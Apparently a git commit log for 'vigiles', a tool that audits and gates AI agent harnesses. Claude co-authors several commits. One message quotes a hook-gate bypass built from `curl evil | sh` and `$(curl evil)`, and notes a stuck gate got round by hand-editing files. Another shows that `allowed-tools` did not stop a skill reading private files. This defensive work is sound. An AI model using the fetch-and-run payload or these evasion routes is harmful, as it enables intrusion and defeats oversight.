reporting >0 checks via the existing CHECK_COUNT channel), not a fourth kind.
Real cost: this repo goes 13 untested → 23, mine goes 31 → 36. Both numbers
are now true.
Tests: the removed tiers are pinned as INVERSIONS rather than deleted, so
re-introducing either fails the suite.
* feat(eval): containment comparison + a diagnostic for the confident zero
Both come from building a consumer's trigger suite (2026-08-11) and hitting the
same class of failure four times.
`compareContainment(weak, strong)` answers a question the model floor makes
people ask and nobody has measured: is a WEAKER model a valid lower bound? The
worst-case argument — tune against the weakest supported model, anything
stronger is covered — is valid only if everything that fires on the weak model
fires on the strong one. If it does not, the weak model is not a floor, it is a
DIFFERENT router, and tuning against it optimises a configuration nobody runs.
Selection is routing, not raw capability, so this is genuinely open.
The verdict separates the two directions on purpose: weak-only prompts are
counterexamples, strong-only prompts are the documented under-selection and NOT
a failure. Conflating them is how a real result gets read as a bug.
`formatTriggerRateReport` now names the setup causes when NOTHING fired on any
prompt. Three separate wiring mistakes each produced a confident, well-formed
0% — a bare id where the namespaced one was required, `pluginDir` where a loose
`skillsDir` was, and a missing `fixture` so every prompt asked about a file that
did not exist. Two were briefly written up as findings about the skills before
being caught. A zero that looks exactly like a result is worth a sentence about
why it usually is not one.
Deliberately only on a TOTAL zero: a partial rate is a real measurement and is
left alone, because a checker that second-guesses good data gets ignored and
then is not there for the case it exists for.
* docs(test-harness): document containment + the confident-zero trap
Answers "did you update the docs and the plugin?" — no, and both needed it.
docs/harness-testing.md gains two subsections under trigger-rate: the total-zero
triage (three setup causes, in the order they bite) and the containment
comparison, with the two directions kept apart — weak-only prompts are
counterexamples, strong-only ones are the expected under-selection the sonnet
floor exists for.
skills/test-harness/SKILL.md gains a row for `compareContainment` and, above the
tier table where an author will actually hit it, the rule that a 0% on EVERY
prompt is a wiring bug until proven otherwise. That is the failure this skill's
reader is most likely to mis-report, because it is well-formed and reads like a
verdict on the description.
`compareContainment` now states its own honest limit: it is harness-agnostic and
will run on Codex reports unchanged, and should not be trusted there yet. Codex
emits no skill-selection event, so `fired` is inferred and the tier is flagged
experimental — and that inference error lands exactly where this function looks,
manufacturing weak-only entries out of noise. A containment verdict is only as
strong as its weakest input signal.
Description budget and frontmatter still lint clean.
* trigger-containment: record the measured verdict — containment does not hold
21 skills x 4 prompts, one trial each, whole-harness against 37 competing
skills, haiku vs sonnet: 3 of 84 shared prompts fired on the weak model and
not the strong one, and one skill scored haiku 1.00 against sonnet 0.75.
The module header claimed nobody had measured it; that is no longer true.
Stated as 'containment is not established' rather than 'it breaks often' —
at one trial per prompt three breaks could be dispersion, and rejecting the
worst-case argument only needs the implication to be unproven.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): a skill naming a sibling skill that does not exist
danglingRefs matches PATHS in EXECUTABLE sources and skips prose by design,
so a skill referring to another BY NAME — the reference agents actually
follow — was checked by nothing. A rename breaks every mention silently:
nothing crashes, the model reads a route to a skill that is not there and
does something adjacent.
NEAR-MISS, not a name check, for precision. Flagging every backticked kebab
token would fire on node-fetch, pull-request, claude-code — and a checker
that fires on clean input is muted within a day. So it asks the narrower
question: is this token almost a skill that exists? Measured on a 38-skill
corpus: 0 findings clean, 1 finding with a single character removed from
one reference, naming the intended target.
Folds into the existing broken-reference deduction — no new verb, no new
category. The report field is optional because absence is not a claim.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(testing): commandsIn + mustInclude/mustNotInclude — a document's rule about its own commands
A skill or runbook states a rule in prose and ships commands that must obey
it: 'always pass curl -g, or bracketed params glob and the request fails
SILENTLY'. Rule and violation sit in the same file three paragraphs apart
and nothing compares them — prose isn't policy, at its smallest, aimed at
the author's own document.
vigiles cannot INFER such a rule; what was missing is a cheap way to DECLARE
it. Measured on a real skill 2026-08-11: expressing one rule took ~95 lines
of hand-rolled markdown parsing around ~5 lines of actual rule, and at that
price the check does not get written. With this, the test IS the rule.
Two decisions that keep it honest: extraction is fenced-blocks-only, so the
prose STATING the rule is not read as a violation of it; and an empty match
FAILS rather than passing vacuously, because a rule that held over zero
commands reads exactly like one that held over twenty.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs(doc-commands): the prior-art survey, including what is NOT novel here
Four quadrants, and this sits in the empty one: extraction (codedown),
extraction+universal linter (markdown-shellcheck), execution (mdsh, doctests),
matchers (vitest/jest). The nearest neighbour applies a UNIVERSAL correctness
checker; this applies the rule the document states about itself, which no
general linter can know and no doctest can express.
The extraction half is NOT novel and now says so, with the reason it is
reimplemented anyway (30 dependency-free lines vs vendoring an awk script)
and the composition worth stealing: hand the structured commands to a real
shellcheck when one is installed.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(lethal-trifecta): a skill's fence is `disallowed-tools`, not `allowed-tools`
A skill's `allowed-tools:` is a PRE-APPROVAL, not a restriction. Claude Code's
docs say so outright, under "Pre-approve tools for a skill":
"The `allowed-tools` field grants permission for the listed tools during the
turn that invokes the skill... It does not restrict which tools are available:
every tool remains callable... To remove tools from Claude's available pool
while a skill is active, list them in `disallowed-tools`."
Two bug reports say the same from the field, both closed as not-planned:
anthropics/claude-code#18837 (Jan 2026) and #37683 (Mar 2026) — the second
reproduced INTERACTIVELY, on a live model, on a different CLI version, with the
skill spawning an `Explore` subagent it had told itself never to use. Reproduced
locally under `claude -p` (CLI 2.1.227): a skill declaring
`allowed-tools: WebSearch, WebFetch` read a private file and wrote a new one.
`disallowed-tools` was then measured across 9 runs and DOES restrict. Cleanest
control, one run: the same `Read` succeeds BEFORE the skill activates and is
denied after — "Permission to use Read has been denied." — and through a `Task`
subagent in the same run, "Error: No such tool available: Read. Read is disabled
for this session, in subagents as well as here." Positive controls first (without
the line, `Read` succeeds); refutations failed (a `bogus-tools:` key blocks
nothing; an unactivated skill's fence does not apply).
So the check was reading a field that bounds nothing. It UNDERSTATED risk — "18 of
38 units hold the trifecta" on a corpus where all 38 did — and it CREDITED a narrow
`allowed-tools` with a reduction that does not exist. That is this project's own
thesis, a declaration present is not a rule enforced, violated by this project.
Dogfood, before and after, on this repo: Safety 100 -> 70. All four skills here
declare narrow `allowed-tools` with no web tool, so the old reading called the
whole surface clean.
The SHAPE changed too, not only the arithmetic. Counting every unfenced skill as
its own finding fires on ~100% of every real harness, and a check that fires on the
ecosystem default is muted within a day — taking the hard findings with it. So:
- `fence: "none"` (no `disallowed-tools:` line) is ONE aggregate line plus the
skill names, in the report, the Safety ring, and `lint` (where it also stops
emitting one GitHub annotation per SKILL.md). It is one fact about the harness,
not N facts about N skills.
- `fence: "ineffective"` (a fence that closes no leg) keeps its own line: rare,
per-skill, and a real mistake — same shape as disallowed-tools-contract's
"this entry blocks nothing".
Presentation differs; SEVERITY AND GRADE DO NOT. Both are "advisory" and both count
once toward `trifectaExposure`, so collapsing the presentation never shrinks the
penalty, and an ineffective fence (capability <= no fence) can never grade worse
than no fence — the non-monotonicity this rule was already fixed for once.
A leg is closed only when every built-in that supplies it is denied. That supplier
catalog is deliberately WIDER than the allow-side one: on the allow side a missing
tool under-states risk (safe), on the deny side it would over-state safety. Filtered
against the dialect's own catalog so a Claude Code author is never told to deny
Codex's `shell`. Stated limit, in the rule doc: a session-provided MCP server can
re-supply a closed leg, so "closed" means closed among the built-ins.
SUBAGENTS ARE UNCHANGED. A subagent's `tools:` is a documented rail that really
does bound the unit; `lethalTrifectaIssues` and every agent path are untouched.
Tests pin the point directly: a skill with `allowed-tools: Read, Grep` and one
declaring the entire catalog produce byte-identical findings, and a narrow list
still yields a finding — that test fails if anyone reintroduces the old reading.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(api): record commandsIn/mustInclude/mustNotInclude in the testing surface
api:check has been red since 28ec597 — the new doc-command helpers were
exported without regenerating api-surface/. The diff is exactly the four
intended additions (commandsIn, DocCommand, mustInclude, mustNotInclude)
and nothing else.
* fix(scan-files): skillRefIssues was added to one report builder, not both
scanPlugin (disk) and scanFiles (in-memory, browser-safe) build the
AuditReport separately, and 226dee9 added skillRefIssues to the first
only. The byte-parity test caught it on all four plugin fixtures — which
is the one thing holding the two builders together.
skill-refs.ts has zero imports of its own, so the browser engine's graph
is unchanged.
* fix(coverage): a colocated test must be NAMED after the surface and SIT BESIDE it
One rule for all three kinds. A skill was exempt from both halves in turn, and
the exemption came from two different accidents.
DEFECT 1 — colocation credited a DIRECTORY, not a test.
`isColocated` required a name-prefixed basename for agents and hooks and, for a
skill, accepted ANY file under the skill's directory. Those are different
claims: the second answers "is there a test NEAR this skill?", not "is there a
test FOR it". It is the substitution the removed `mention` tier made — a name
near a test taken for a test — reached by a different route, and it arrived
WITH the simplification rather than surviving it.
Observed live: a consumer repo's `.claude/skills/paper-pipeline/` holds six
`*.eval.mjs`, exactly one about `paper-pipeline`; the rest measure other skills
and sit there because that directory was the pipeline's home before tests moved
next to their subjects. One is literally `grade-paper-writing-ablation.eval.mjs`
— named after a different skill in the same install. The orchestrator scored as
covered and had no test of its own until someone wrote one by hand.
Measured on a fixture reproducing that shape (two skills, one foreign-named
eval): before, `✓ all 2 surface(s) have a test or eval`; after, the orchestrator
is flagged and the finding names the exact path to add.
DEFECT 2 — a subdirectory counted as beside.
Removing that allowance was measured, not assumed. Across two real repos exactly
ONE nested test file exists: `verify-citations/scripts/verify-cites.test.mjs`,
a unit test for a script the skill BUNDLES, pinning that script's pure reducer.
It is a good test of a script and not a test of a skill — the distinction this
whole rule turns on — and the skill carries its own two colocated files anyway.
So the allowance credited nothing anyone wanted, while costing the single
property that makes colocation worth having over a parallel test tree: `ls`
answers "is this tested?". With a subdirectory permitted, it takes `find`, and
two permitted shapes become a choice at write time and a lookup at read time.
BREAKING for a repo whose colocated test is named otherwise or kept one level
down. Renaming or moving the file is the whole migration, and the finding prints
the path to use.
Also: a single-skill target now takes its identity from the declared `name:`
rather than the checkout directory's basename. Under the old rule that name was
never read; under the new one, deriving identity from the path would ask an
author to name their test after their CI workspace.
DEFECT 3 — removing `vigiles:covers` would have migrated in silence.
Up to 15.0.2 the untested finding told the reader to "mark what it covers with
`vigiles:covers <surface>`". That tier is gone. Someone who followed the
instruction gets no error on upgrade: the marker becomes an ordinary comment,
coverage drops, the untested count rises, and nothing says why.
`UntestedReport.legacyCoversFiles` (optional, so an older report still parses)
carries the test files still holding it, and the report prints one line naming
them and what changed. It is printed in BOTH branches — a repo can lose the tier
and still be at zero untested, and would otherwise never hear about it. Reading
those files does not feed coverage; nothing inside a test can change it now.
docs/rules/untested-skill.md described the old asymmetry as current behaviour and
now states the single rule, with the two file names and what each buys.
Tests: both halves for each behaviour — fires on the planted defect, quiet on the
obeyed form — including the real bundled-script case. Mutations, each failing on
its own assertion: dropping the name check (restores defect 1, and also reddens
the two pre-existing agent/hook tests), suppressing the migration note, and
taking the root-skill identity from the path. Full suite 2573 passed; the single
failure (`a blocking Stop hook forces the agent to keep working`) reproduces on
the branch base and is this environment's broken TLS, not this change.
* fix(hook-runtime): a broken load path wedged the repo with no way back
Observed live 2026-08-10, not reasoned about. `git merge` left conflict
markers in `package.json`. Node then refuses to read that package config,
so the bare specifier `vigiles/hook` no longer resolves, so NO compiled
hook loads, so the PreToolUse Bash gate refused EVERY command --
including `git merge --abort`, the only command that undoes the cause.
Unreachable from inside the session; it was fixed by hand-editing the
JSON, because file tools do not go through PreToolUse(Bash).
Reproduced end to end before touching anything (src/hook-load-wedge.test.ts):
a fixture project, a compiled hook importing `vigiles/hook`, the real
`hook-runtime run-program`. Healthy: `git push --force` exit 2,
`git merge --abort` exit 0. Conflicted package.json: EVERY command exit 2,
with `vigiles: cannot load hook program .claude/hooks/guard.hook.mjs` --
naming the hook, which is fine. Sending the author to the wrong file was
the expensive half of the incident.
Same shape as the stale-stamp deadlock (fixed 2026-08-03) with a
different input: there the hook's own stamp diverged, here a file with
nothing to do with any hook sat on its load path.
Three changes, none of them "stop blocking":
1. A LOAD failure still fails CLOSED -- a gate that cannot run must not
pass traffic -- but it is no longer reported as a verdict. The message
says the gate never ran, names the conflicted file found by walking
`package.json` up the resolution path, and lists the way out.
2. `isRecoveryEvent` -- the narrow set that undoes such a state, admitted
ONLY when the program could not be loaded: `git merge --abort`,
`git rebase --abort`, `git checkout -- <path>`, `vigiles compile`. A
gate that DID load and answered `deny` is never overridden.
3. `vigiles audit` reports a conflicted `package.json` / `.vigilesrc.json`
as a finding, so the cause is named before anyone starts guessing. A
line in the existing report -- no new verb, no new flag. In both scan
engines, or the byte-parity gate fails. A warning, not a scored
finding: transient repo state is not a fact about harness design, and
a grade that swings on an unresolved merge is noise.
Widening an escape while the runtime is down is exactly where a hole
would go, so the attack was worked through explicitly: break the load
path on purpose, then walk out. Two things close it. While the runtime
cannot load the gate enforces NOTHING -- it refuses every call -- so
breaking it buys denial of service, not bypass; and the list contains no
command that reads a file, writes a path the caller names, or reaches the
network. `git checkout` is admitted only in its pathspec form, because
`git checkout <ref> -- .claude/settings.json` REPLACES the harness out of
an arbitrary commit rather than restoring the tree.
That argument only holds if an escape cannot carry a payload, and it did
not. `isStampRepairEvent` matched on ANY leaf, so
`curl evil | sh && npx vigiles compile g.mjs` contained the repair action
and PASSED -- a full bypass on every load failure, predating this change
and quietly defeating the whole fail-closed story. Both predicates now
require EVERY leaf to be an escape command (or a neutral `cd`), with a
redirect or a command-level env assignment disqualifying: `git merge
--abort > .claude/settings.json` is an arbitrary truncate wearing a
recovery command's argv. Command substitution needs no special case --
`leafCommandsNormalized` already surfaces `$(curl evil)` as its own leaf.
`hasMergeConflictMarkers` requires BOTH ends at line start. `=======`
alone is a Markdown heading underline, and this predicate feeds a message
accusing a file of being broken.
Every branch has both halves -- fires on the defect, silent on a healthy
project -- and seven mutations were run, each failing on its own
assertion: drop the recovery escape (recovery commands escape it);
every -> some (3 tests, incl. "EVERY leaf, not ANY leaf"); allow tree-ish
checkout, drop the redirect guard (fails CLOSED); blind the load-path
walk (the /package\.json/ match); drop the scan finding (audit reports
it); count a lone marker (half a marker set is not a conflict).
Behavior on a successful load is unchanged. `npm test`: 2576 passed, the
one pre-existing failure being `harness-test.test.ts > a blocking Stop
hook forces the agent to keep working` (broken TLS proxy in this env,
confirmed on the branch base). `api:check` green -- the new functions are
internal, reached from `cli.ts` via `./core/`, not re-exported from
`vigiles/hook`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(coverage): answer "is this tested?" by EXECUTION, then by name
## The defect
Coverage answered "is surface X tested?" from a FILE NAME. `touch
.claude/skills/foo/foo.eval.mjs` — an empty file — drops the untested count by
one, and `coverage-evidence.ts` said so in its own header: *"colocation says a
FILE EXISTS, not that it RAN"*. Measured on a real repo, `paper-pipeline/` held
six `*.eval.mjs` of which exactly one was about that skill; the orchestrator
scored as covered with no test of its own (vigiles/s54.md, defects №10 and №17).
Nobody else answers this question that way. `go test -cover`, coverage.py, nyc
and tarpaulin all answer from EXECUTION and use the name only to FIND the file
to run. A skill cannot be run without a model, so the name survives — but as a
fallback, not as the answer.
## The design
Order of answers is **execution → name → nothing**, and the report says which
one it used ("MEASURED BY A RUN" vs "the file EXISTS, not that it ran").
Attribution is DERIVED by the machinery, never declared by an author — a
`surface:` field would be `vigiles:covers` with extra steps, and that tier was
removed for exactly this reason. Each tier reports what it already knew it was
pointed at:
runScript / runHook → the COMMAND LINE it executed (plus `opts.env`,
because `runHook('"$GUARD"', …, {env}) `is the
documented idiom)
runHarnessTest / eval / → the TRANSCRIPT: the Skill call that RESOLVED.
measureTriggerRate Not the install set — a trigger-rate run installs
competitors on purpose, and crediting the set
would credit a skill for LOSING selection.
The channel is the existing CHECK_COUNT scratch file. A run with nothing to
attribute writes the bare number it always wrote, byte for byte; only a run with
something to say writes JSON. Both are readable, so an older runner meeting the
new form reads "no report" — the legacy branch, a plain pass, never a wrong
verdict.
`vigiles test` / `vigiles eval` resolve the probes against discovered surfaces
(unresolvable ⇒ dropped, never guessed) and merge them into `.vigiles/coverage.json`
alongside the existing flight-recorder ledger. No new verb, no new flag.
## What deliberately does NOT count
- A run against OLDER text. Each record stamps the surface's content hash at run
time; edit the surface and it becomes "measured, but not this version",
reported on its own line and granting no coverage. Silently counting it is the
PIPELINE-STATUS disease — a tick against a document rewritten afterwards.
- A FAILED script. It exercised the surface but established nothing.
- A harness run, for the eval tier. Free deterministic runs cannot answer "does
this fire?", so that gap stays open until a model runs.
- Anything at all with no artifact: a fresh clone, CI and third-party repos
behave exactly as before — verified on a real 38-surface corpus, 12/14 before
and after, same provenance line.
## Proof
12 mutations, each killing one load-bearing line, each dying on its OWN
assertion (control green at 108):
execution outranks colocation · a stale run must not count · the eval tier is
not answered by a harness run · stale notice only when nothing fresh · a
command probe never resolves to a skill · a harness run must not erase an eval
record · a failed script contributes nothing · an errored Skill call
attributes nothing · the env is scanned · silence stays the bare number · a
bare number is still readable · runScript attributes what it executes
End-to-end on a throwaway plugin: untested → `vigiles test` → "1 MEASURED BY A
RUN" → edit the hook → "run record from BEFORE their current text" → re-run →
measured again. A red harness records nothing.
`npm test`: 2612 passed, 1 pre-existing failure (harness-test.test.ts blocking
Stop hook — broken TLS proxy in this environment). `api:check`: no drift.
The browser twin has no filesystem and therefore structurally no run records;
that is stated in `test-coverage-files.ts` rather than left to be inferred, and
`countEvidence` reports `executed: 0` there so the byte-parity gate holds with
no special case.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage)!: TypeScript is first-class, the paid tier is an INFIX, and the one name a foreign runner claims is gone
Three changes that only make sense together; any two without the third leaves a
money hazard open.
1. THE PAID TIER IS `.eval.`, NOT `.eval.mjs`.
The split was `path.endsWith(".eval.mjs")`. The moment TypeScript is accepted,
`foo.eval.ts` falls into the `harness` branch — a file that spends real model
calls, classified as the FREE deterministic tier and run on every push, in CI.
Accepting TS without fixing this first is worse than not accepting it, so this
lands first in the same commit.
2. `*.harness.{ts,mts,cts,js,mjs,cjs}` AND `*.eval.{…}`.
`.harness.ts` matched nothing at all, so a TypeScript project got no credit for
a test it had written. `.mts`/`.cts` are real (TS 4.7+) and Node 22 runs all
three directly — type stripping, no toolchain. Measured, not assumed.
3. `*.test.*` IS NO LONGER A VIGILES TEST.
Six entries used to match the default patterns of vitest and jest EXACTLY, read
out of the installed packages rather than from memory:
vitest **/*.{test,spec}.?(c|m)[jt]s?(x)
jest **/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) ← everything in that directory
vigiles never RAN those files, but crediting them made the name reasonable — so
an author writes `skills/foo/foo.test.mjs`, and `npx vitest` runs it. A skill
test calls runHarnessTest/measureTriggerRate: it spawns a model. The accident is
a silent bill, on every push. Measured in a spike: a bare project with that file
and a plain `npx vitest run` executed it, so "it lives under a dot-directory, so
nothing else will find it" is false.
With those gone the guarantee is one sentence: NOTHING VIGILES RECOGNISES IS
MATCHED BY A DEFAULT VITEST OR JEST RUN.
BREAKING: a repo whose hook is covered by an ordinary `pre-edit.test.ts` loses
that credit. The migration is a rename and the finding prints the exact path.
Taken over the alternative — keep the entries for hooks/agents, drop them for
skills — because a rule with a per-kind exception is what this file just spent a
day removing.
4. AND THE MONEY IS GUARDED WHERE IT IS SPENT.
`src/core/foreign-runner.ts`: `spawnAgent` — the single composition root every
paid path reaches — refuses to start when `process.argv[1]` identifies vitest,
jest, mocha or ava. Naming is a convention someone can break; this cannot be
broken by naming a file anything.
NOT an environment variable. `process.env.VITEST` was proposed and rejected: it
can sit in a `.env` or a CI environment for unrelated reasons, and a guard that
fires on correct input is a guard people delete. `argv[1]` is what node was
actually started with. Measured: under `npx vitest run` it is
`node_modules/vitest/dist/workers/forks.js`; under `node foo.eval.mjs` it is the
file; under `vigiles eval` it is the script vigiles spawned.
Positive identification of a known runner, not "am I the entry point" — the
conservative direction, since an unrecognised wrapper runs rather than a
legitimate scheduled eval being blocked by a pattern nobody predicted. Refusal
throws rather than returning a failed run: a run result would be recorded and
averaged, and "0% trigger rate" is exactly the confident zero this project keeps
mistaking for a finding.
Tests: both halves for each behaviour, including the quiet ones (a direct `node`
run is not a foreign runner; a repo that merely HAS vitest installed is not
running under it). One test was INVERTED — it used to assert `*.test.ts` counts —
and kept as an inversion so a re-introduction fails it. Four mutations, each
failing on its own assertion: restoring the `.eval.mjs` suffix, restoring
`*.test.*` to the globs, dropping TS from the harness glob, and disabling the
runner check.
Full suite: 2619 passed. Two failures, neither this change — `a blocking Stop
hook forces the agent to keep working` (this environment's broken TLS proxy,
reproduces on the branch base) and one `cli.test.ts` case that passes in
isolation (114 passed, 154s file — load-related under the full run).
api:check: no drift. Corpus at /home/user/mine unchanged: 12 · 14 · 26.
* feat(coverage): write the test in the project's own language — TypeScript detected, config only to disagree
`.harness.ts` is now accepted (previous commit), but both places that NAME a test
still hard-coded `.mjs`: the untested finding ("add e.g. …") and the generator in
scaffold-test.ts. A TypeScript project was told to add a JavaScript file.
`core/test-file-ext.ts` decides once, and both sides read it — a generator that
writes `foo.harness.ts` while the finding says `foo.harness.mjs` teaches the
reader that the tool disagrees with itself. A test pins that they cannot drift.
DETECTION FIRST, CONFIGURATION ONLY TO DISAGREE — the Rails/Next posture the rest
of this rule already takes. A `tsconfig.json` or a `typescript` dependency is
enough; `testExtension` in .vigilesrc.json exists for what detection cannot get
right (a monorepo with mixed packages, a JS project carrying a stray tsconfig, a
deliberate choice to keep tests in JS).
🔴 `init` DOES NOT WRITE THE FIELD, on purpose. A value recorded at
initialisation goes stale in silence: the project migrates to TypeScript six
months later and the config still says otherwise, with nobody remembering it is
there. Detection re-runs every time; an empty config means "I agree with all of
it".
Two decisions worth their measurements:
- `.ts`, not `.mts`. Measured on Node 22.22 in BOTH package kinds: a `.ts` file
using `import` runs in a package with `type: module` and in one without it —
type stripping detects module syntax rather than trusting the package type. The
`.mts` special case a careful reader expects here is not needed. `.mts`/`.cts`
stay accepted (they are real, TS 4.7+) but never generated.
- `.mjs`, not `.js`, for the non-TypeScript default: `.js` in a package without
`type: module` is CommonJS, and every generated test uses `import`.
A nonsense `testExtension` is IGNORED rather than honoured or thrown on: writing
`foo.harness.rb` because somebody typed `rb` produces a file no runner executes,
and the finding would then point at a path that can never satisfy it.
Tests: 8, including the quiet halves (a dependency merely NAMED like typescript
does not count; a malformed package.json decides nothing rather than throwing).
Two mutations, each failing on its own assertion: ignoring the config field, and
trusting any value it holds. api:check: no drift.
* feat(audit): a harness test named `*.test.*` is run by OTHER people's runners
Measured 2026-08-11, not reasoned about. A fixture holding nothing but
`package.json` and `.claude/skills/foo/foo.test.mjs`, then `npx vitest run`
at the repo root: `Test Files 1 passed (1)`. Vitest descended into the
dot-dir and executed the file. The assumption that "it lives under `.claude/`,
so other tools leave it alone" is simply false -- vitest's `defaultExclude` is
`["**/node_modules/**", "**/.git/**"]` and nothing else, read from the
installed package, so every dot-dir except `.git` is fair game.
Not cosmetic, because a harness test is not a unit test: it calls
`runHarnessTest` / `measureTriggerRate`, which spawn an agent. A foreign runner
that collects one spends model budget silently, in CI, on every push. The
`*.eval.*` tier is the paid one by definition, so a file carrying both an eval
name and a foreign test name is the expensive case and the message says so
outright rather than filing it under "runs unexpectedly".
Easy to walk into because vigiles ITSELF blesses these names --
`DEFAULT_TEST_SUFFIXES` accepts `.test.ts` / `.test.mjs` / ... as valid harness
tests. Our own `*.harness.mjs` / `*.eval.mjs` match no third-party default;
`*.test.*` matches all of them. The fix is therefore always a rename.
Patterns quoted verbatim from the packages on disk, not from memory:
node_modules/vitest/dist/chunks/defaults.*.js
**/*.{test,spec}.?(c|m)[jt]s?(x) (defaultInclude)
**/*.{test,spec}-d.?(c|m)[jt]s?(x) (typecheck; --typecheck only)
node_modules/jest-config/build/index.js
**/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) <- by LOCATION; no suffix needed
The `-d` glob is quoted but NOT matched: a plain run ignores it, so reporting
it would flag files nothing collects. The two name globs differ where it
matters and both are honored -- jest's prefix `?(*.)` is OPTIONAL, so a bare
`test.mjs` is jest-only, and naming the wrong tool would send the author to
configure a runner that never ran the file.
Deliberately NOT a config parse. Reading `vitest.config.*` / `jest.config.*` /
`package.json#jest` to learn whether this repo overrode its globs means
evaluating dynamic JS, following `extends`, and resolving monorepo layers --
false confidence in both directions. A filename does not lie, and the finding
claims only what is true regardless of any config: a DEFAULT run collects this.
Scope is the harness surface dirs (skills/agents/commands/hooks, in both the
plugin and the `.claude/` user shape), derived from `PluginLayout` rather than
hard-coded. `src/foo.test.ts` is an ordinary project test and none of our
business; flagging it would make the warning fire on every repo with tests.
A warning in the existing report -- no new verb, no new flag -- and NOT scored,
like the merge-conflict finding next to it. A grade must not move because of
what someone named a file beside a hook: this is a hazard in how the repo meets
OTHER tools, not a fact about how the harness was designed. Nothing starts or
stops counting as coverage. In both scan engines, or the byte-parity gate
fails; findings are sorted in plain codepoint order (not `localeCompare`, which
would make a byte-compared report depend on the machine's locale).
The message is class-level about agent spend, not a claim about the specific
file. The check reads names only, so it cannot know whether a given file drives
an agent or is a pure offline test -- the one in the wild
(`verify-cites.test.mjs`) is pure, and "this spawns an agent" would have been an
overclaim on it.
Both halves everywhere -- fires on the defect, silent on a healthy corpus --
and seven mutations, each failing on its own assertion: drop the `__tests__`
location branch; drop the surface-dir scope (ordinary project tests get
flagged); make jest's optional prefix mandatory (bare `test.mjs` missed); widen
the extension set (`.test.json` / `.test.md` flagged); drop the eval money
sentence; drop the sort; add our own suffixes to the name glob (the
clean-corpus half stops being silent).
Verified on a real corpus outside this repo (`vigiles audit ~/mine`): one
finding, `.claude/skills/verify-citations/scripts/verify-cites.test.mjs`.
`npm test`: 2584 passed, the one pre-existing failure being
`harness-test.test.ts > a blocking Stop hook forces the agent to keep working`
(broken TLS proxy in this env). `api:check` green -- the new module is
internal, reached from the scanners, not re-exported.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(gitignore): `node_modules/` with a trailing slash does not ignore a SYMLINK named node_modules
Self-inflicted, and it wedged the checkout for a few minutes — worth the entry
because the mechanism generalises.
WHAT HAPPENED. Two agents were deliberately separated into `git worktree`s to
stop them overwriting each other. A worktree has no `node_modules`, so I linked
it: `ln -sfn /workspace/vigiles/node_modules /tmp/wt/node_modules`. Then a
routine `git add -A` in that worktree TRACKED the symlink, because
`.gitignore`'s first line is `node_modules/` — a trailing slash matches
DIRECTORIES ONLY, and a symlink is not a directory to git. Merging that branch
back replaced the real `node_modules` directory with a symlink pointing at
itself: every command died with ELOOP, `npm run build` "succeeded" only because
the grep for `error TS` found nothing in an empty stream, and the tree looked
fine to `git status`.
THE FIX is the missing slash. `node_modules` matches the directory and the
symlink; nothing else in this repository can be named that.
Recovered with `npm ci` — the npm registry is reachable from here even though
git's TLS is not, which is the same asymmetry that keeps the GitHub API working
while `git push` fails.
The general shape, for whoever hits it next: an ignore rule written for the
common form of a path stops applying the moment somebody creates the same name
in a different form, and the failure surfaces far away — in a merge, in another
checkout, as ELOOP rather than as "you committed node_modules".
* test(site): regenerate the browser-parity fixture for the engine changes in this branch
The committed expected report still described the previous engine, so the
parity test failed on CI with a field-level diff that reads like a real
Node-vs-browser divergence. It is not: both sides agree, and the fixture is
what is stale.
Regenerated with the documented procedure (`node site/scripts/gen-parity-expected.mjs`,
which formats through prettier so the result does not redden `fmt:check` later).
The diff is exactly the two intentional changes and nothing else:
coverageEvidence {declared, colocated, mention} → {executed, colocated}
Safety finding per-unit "inherits all tools" → the aggregated
`disallowed-tools:` wording, since `allowed-tools:` was
measured to be pre-approval rather than a fence
⚠️ NOT verified locally: this environment's Playwright has no
`chromium_headless_shell-1228`, and installing browsers here is disallowed, so
the browser suite cannot run. CI is the check.
* test(eval): cover the foreign-runner guard through the composition root
The 100% gate failed on exactly two lines — `eval.ts` 386-387, the wiring that
reads `process.argv[1]` and throws. The pure helpers were unit-tested next door;
what nothing proved was that `spawnAgent` actually calls them, and wiring is the
half that silently rots.
The test works because of where it runs: under vitest `process.argv[1]` is
`…/node_modules/vitest/dist/workers/forks.js`, so the guard fires by
construction. Asserting the throw costs nothing and spawns nothing — and it is
the same property the guard exists for, exercised rather than described.
* fix(coverage): a rerun that drops a surface must withdraw the coverage it claimed
Reproduced before it was fixed, on a two-hook fixture driven through the real
CLI (now `src/cli-coverage-record.test.ts`):
run 1 t.harness.mjs runs hooks/a.sh -> coverage.json: hooks/a.sh
edit t.harness.mjs now runs hooks/b.sh
run 2 coverage.json: hooks/a.sh, hooks/b.sh
vigiles lint: "2 MEASURED BY A RUN"
`hooks/a.sh` is execution-tier covered by a run that no longer exists, and it
stays that way forever: `mergeRuns` starts from every previous record and can
only overwrite keys present in `next`, and staleness is keyed to the SURFACE's
text -- rewriting the test does not touch the hook, so the record never even
goes stale. The tier whose whole reason for existing is "answer by execution,
not by name" was answering by a name that ran once, in the past.
The sharper half is the empty case: a harness emptied of its assertions reports
NO probes, so there is no key to overwrite at all and merging can never reach
it. `recordRunCoverage` also returned early on "nothing new to record", which
is precisely the run worth writing down.
Fix: a run retracts as well as records. `mergeRuns` takes the scripts that
